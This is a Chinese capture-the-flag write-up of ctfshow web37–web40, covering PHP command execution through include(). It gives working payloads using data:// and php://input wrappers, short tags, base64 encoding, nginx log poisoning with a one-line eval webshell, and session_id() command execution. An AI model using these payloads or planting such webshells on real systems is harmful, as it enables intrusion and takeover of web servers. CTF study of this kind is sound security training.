目录
命令执行,需要严格的过滤
1、web37
使用 php 伪协议:
?c=php://input
post 写入我们希望执行的 php 代码:
php
<?php system('tac f*');?>
拿到 flag:ctfshow{5c555d9a-6f55-411a-a25f-d38b70240639}
再看 wp 它用到是 data:// 协议,也是 php 伪协议
payload:
php
?c=data://text/plain,<?php system('tac f*')?>
利用源码中的 include($c); 将我们想要执行的代码包含进去,其实和 php://input 是一样的,让用户可以控制输入流,当它与文件包含函数结合时,用户输入的 data:// 流就会被当作 php 文件执行。
2、web38
新增过滤 php 和 file
php 短标签:
php
<? echo '123';?> #前提是开启配置参数short_open_tags=on
<?=(表达式)?> 等价于 <?php echo (表达式)?> #不需要开启参数设置
<% echo '123';%> #开启配置参数asp_tags=on,并且只能在7.0以下版本使用
<script language="php">echo '123'; </script> #不需要修改参数开关,但是只能在7.0以下可用。
我们使用一个没有前提条件的进行绕过,构造 payload:
php
?c=data://text/plain,<?=system('tac f*')?>
拿到 flag:ctfshow{924d4c68-d3ad-4188-bfbd-6b1d6b5f60b2}
也可以这样写:
php
?c=data://text/plain,<?=`ls`;
php
?c=data://text/plain,<?=`tac f*`;
我们也可以采用编码绕过,对 <?php system("tac flag.php");?> 进行 base64 编码再传入:
构造 payload:
php
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs/Pg==
查看提示,还可以包含 nginx 的日志文件拿 shell:
对于Apache,日志存放路径:/var/log/apache/access.log
对于Ngnix,日志存放路径:/var/log/nginx/access.log 和 /var/log/nginx/error.log
访问一下日志文件,确实有东西:
?c=/var/log/nginx/access.log
服务器开启了记录日志的功能,就可能导致日志包含漏洞,用户可以进行任意文件读取:
中间件的日志文件会保存网站的访问记录,比如HTTP请求行,User-Agent,Referer等客户端信息,如果在HTTP请求中插入恶意代码,那么恶意代码就会保存到日志文件中,访问日志文件的时候,日志文件中的恶意代码就会执行,从而造成任意代码执行甚至获取shell。
从上面的日志信息可以看出是 User-Agent 的内容,这里我们使用 burpsuite 抓包,在 User-Agent 里插入一句话木马 :
<?php @eval($_REQUEST['cmd']);?>
上蚁剑,连接的文件就是日志文件:
进来后就可以直接看到 flag.php:
我们写的马就在这里:
但是在前端包含出来却看不到:
3、web39
这次的方式不一样了,还会在传入的内容后面拼接 .php,由于它把 flag 过滤掉了,而且这里包含后也没有输出 $flag 的语句,因此我们需要自己来调用,用 web37 的 payload:
为了看起来好一点便于后面的理解,这里我们用 cat 来读取
php
?c=data://text/plain,<?php system('cat f*')?>
传入后的内容为:
<?php ...
include(<?php system('cat f*')?>.php);
读取 flag的 php 语句已经正常闭合,所以后面拼接的 .php 不会产生什么影响
拿到 flag:ctfshow{be201a78-e3b6-4957-8016-f61b31341ded}
我们也可以将整个 php 代码闭合掉,让 .php 不执行而是被直接显示:
php
?c=data://text/plain,<?php system('cat f*')?>)?>
4、web40
首先说一下这里正则匹配有几处用到了多个反斜杠的原因:
在正则表达式中,美元符号 $ 通常表示字符串的结束位置,为了匹配字面上的美元符号 ,需要使用反斜杠进行转义,即 \\;在正则表达式中,一个反斜杠需要使用 \\ 表示,但由于在 PHP 字符串中,反斜杠也需要转义,所以需要四个反斜杠 \\\\ 来表示正则表达式中的一个反斜杠。
晃眼一看这里几乎把所有符号都过滤掉了,但是仔细一看这里过滤掉的括号是中文的括号:()
也就是说英文的括号其实是能用的:()
使用无参数的 payload:
php
show_source(next(array_reverse(scandir(pos(localeconv())))));
拿到 flag:ctfshow{ebf5b012-7536-4a50-8049-37ebe85ca7c4}
看下提示,还有另一种做法:通过 cookie 获得参数进行命令执行
session_start() 函数用于启动一个新的 PHP 会话,session_id() 函数返回当前会话的会话 ID,将会话 ID 作为系统命令执行。使用 session 之前需要先用 session_start() 告诉 php 使用session,php 默认是不主动使用session的,也就是说原本的cookie 里是没有 PHPSESSID 这项的:
请求
php
?c=session_start();system(session_id());
再次抓包即可看到 cookie 多出了 PHPSESSID 这:
修改 PHPSESSID 为我们希望执行的命令,即可实现命令执行:
但是这里并不能直接命令执行读取 flag,在标准的 PHP 会话管理中,会话 ID 不应包含空格。
美元符号 $ 也不行
其他一些命令是可以正常执行的
那么这里如何读取 flag.php
还是用 show_source ,构造 payload:
php
show_source(session_id(session_start()));
也可以用 highlight_file 或者 readfile 函数
但是会遇到前面的这个问题,会话 ID 包含了非法字符,点是不可以的
还有另一个问题:
在 PHP 中,一旦会话被激活,就不能再更改会话 ID。
折腾了一下到后面只要传入 show_source(session_id(session_start())); 就会显示容器有问题了
重启容器也没有解决这个问题:
Cannot change session id when session is active in
应该是题目搭建环境不一样吧,不折腾了,知道有这种方法就行。